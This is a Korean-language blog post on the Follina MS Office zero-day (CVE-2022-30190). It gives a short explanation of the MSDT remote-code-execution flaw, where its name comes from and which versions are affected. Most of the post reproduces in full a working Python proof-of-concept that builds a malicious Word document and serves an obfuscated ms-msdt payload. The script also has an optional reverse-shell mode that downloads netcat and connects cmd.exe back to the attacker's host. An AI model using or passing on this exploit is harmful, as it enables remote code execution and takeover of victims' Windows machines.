-
Follina Exploit (CVE-2022-30190)
MS 오피스 제로데이 취약점 Follina (CVE-2022-30190)
Word와 같은 프로그램에서 URL 프로토콜을 사용하여 MSDT를 호출할 때 원격 코드 실행 취약점이 존재한다.
이 취약점 공격에 성공한 공격자는 MS 오피스 프로그램의 권한으로 원격 코드를 실행할 수 있다. 그런 다음 공격자는 사용자 권한이 허용하는 범위에서 프로그램을 설치하거나, 데이터를 보거나, 변경하거나, 삭제하거나, 새 계정을 만들 수 있다.
이 취약점은 nao_sec 이라는 사이버 보안 연구 팀에 의해 발견되었다.
이름이 Follina인 이유?
정보보안 커뮤니티에서는 이 취약점을 'Folina'라고 부른다.
이 취약점은 보안 연구원들이 VirusTotal의 05-2022-0438.doc라는 이름의 Word DOC 파일 샘플을 발견했을 때 파일 이름에 이탈리아 Follina 지역의 전화번호가 적혀 있어 "Folina"라고 명명되었다.
(파일 이름의 숫자 05-2022는 2022년 5월을 의미하는 것처럼 보이지만 이탈리아 Follina 지역의 전화번호이다.)
맬웨어가 해당 지역에서 시작되었거나 이 익스플로잇과 관련이 있다는 증거는 없다고 한다.
영향을 받는 버전:
- 연구원에 따르면 Office 2013 이상 버전은 Follina 제로 데이 취약점의 영향을 받는다.
- Microsoft 365 라이선스에 포함된 일부 Office 버전은 Windows 10 및 Windows 11 모두에서 공격자의 표적이 될 수도 있다.
PoC Code - JohnHammond/msdt-follina
#!/usr/bin/env python3 import argparse import zipfile import tempfile import shutil import os import netifaces import ipaddress import random import base64 import http.server import socketserver import string import socket import threading parser = argparse.ArgumentParser() parser.add_argument( "--command", "-c", default="calc", help="command to run on the target (default: calc)", ) parser.add_argument( "--output", "-o", default="./follina.doc", help="output maldoc file (default: ./follina.doc)", ) parser.add_argument( "--interface", "-i", default="eth0", help="network interface or IP address to host the HTTP server (default: eth0)", ) parser.add_argument( "--port", "-p", type=int, default="8000", help="port to serve the HTTP server (default: 8000)", ) parser.add_argument( "--reverse", "-r", type=int, default="0", help="port to serve reverse shell on", ) def main(args): # Parse the supplied interface # This is done so the maldoc knows what to reach out to. try: serve_host = ipaddress.IPv4Address(args.interface) except ipaddress.AddressValueError: try: serve_host = netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0][ "addr" ] except ValueError: print( "[!] error detering http hosting address. did you provide an interface or ip?" ) exit() # Copy the Microsoft Word skeleton into a temporary staging folder doc_suffix = "doc" staging_dir = os.path.join( tempfile._get_default_tempdir(), next(tempfile._get_candidate_names()) ) doc_path = os.path.join(staging_dir, doc_suffix) shutil.copytree(doc_suffix, os.path.join(staging_dir, doc_path)) print(f"[+] copied staging doc {staging_dir}") # Prepare a temporary HTTP server location serve_path = os.path.join(staging_dir, "www") os.makedirs(serve_path) # Modify the Word skeleton to include our HTTP server document_rels_path = os.path.join( staging_dir, doc_suffix, "word", "_rels", "document.xml.rels" ) with open(document_rels_path) as filp: external_referral = filp.read() external_referral = external_referral.replace( "{staged_html}", f"http://{serve_host}:{args.port}/index.html" ) with open(document_rels_path, "w") as filp: filp.write(external_referral) # Rebuild the original office file shutil.make_archive(args.output, "zip", doc_path) os.rename(args.output + ".zip", args.output) print(f"[+] created maldoc {args.output}") command = args.command if args.reverse: command = f"""Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}""" # Base64 encode our command so whitespace is respected base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8") # Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //""" html_payload += ( "".join([random.choice(string.ascii_lowercase) for _ in range(4096)]) + "\n</script>" ) # Create our HTML endpoint with open(os.path.join(serve_path, "index.html"), "w") as filp: filp.write(html_payload) class ReuseTCPServer(socketserver.TCPServer): def server_bind(self): self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind(self.server_address) class Handler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, **kwargs): super().__init__(*args, directory=serve_path, **kwargs) def log_message(self, format, *func_args): if args.reverse: return else: super().log_message(format, *func_args) def log_request(self, format, *func_args): if args.reverse: return else: super().log_request(format, *func_args) def serve_http(): with ReuseTCPServer(("", args.port), Handler) as httpd: httpd.serve_forever() # Host the HTTP server on all interfaces print(f"[+] serving html payload on :{args.port}") if args.reverse: t = threading.Thread(target=serve_http, args=()) t.start() print(f"[+] starting 'nc -lvnp {args.reverse}' ") os.system(f"nc -lnvp {args.reverse}") else: serve_http() if __name__ == "__main__": main(parser.parse_args())
GitHub - JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload
Codebase to generate an msdt-follina payload. Contribute to JohnHammond/msdt-follina development by creating an account on GitHub.
github.com
'Exploit > Exploit' 카테고리의 다른 글
LFI to RCE via PHP Filter (0) 2023.03.29 [XSS] File upload XSS (0) 2023.02.02 How to install Parallels tools on Kali Linux kernel 5.18.0 (0) 2022.09.27 [EternalBlue] Windows SMBv1 Vulnerability (0) 2022.02.15 [Log4Shell] Log4j 2 Vulnerability (0) 2022.02.14 댓글 0